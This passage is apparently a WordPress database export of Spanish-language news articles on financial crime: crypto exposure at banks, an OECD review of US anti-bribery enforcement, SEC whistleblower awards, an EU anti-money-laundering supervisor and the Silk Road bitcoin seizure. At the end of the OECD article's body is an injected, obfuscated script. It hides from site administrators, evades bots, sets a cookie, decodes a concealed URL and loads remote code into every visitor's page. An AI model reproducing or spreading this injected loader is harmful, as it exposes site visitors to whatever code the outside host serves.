bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, 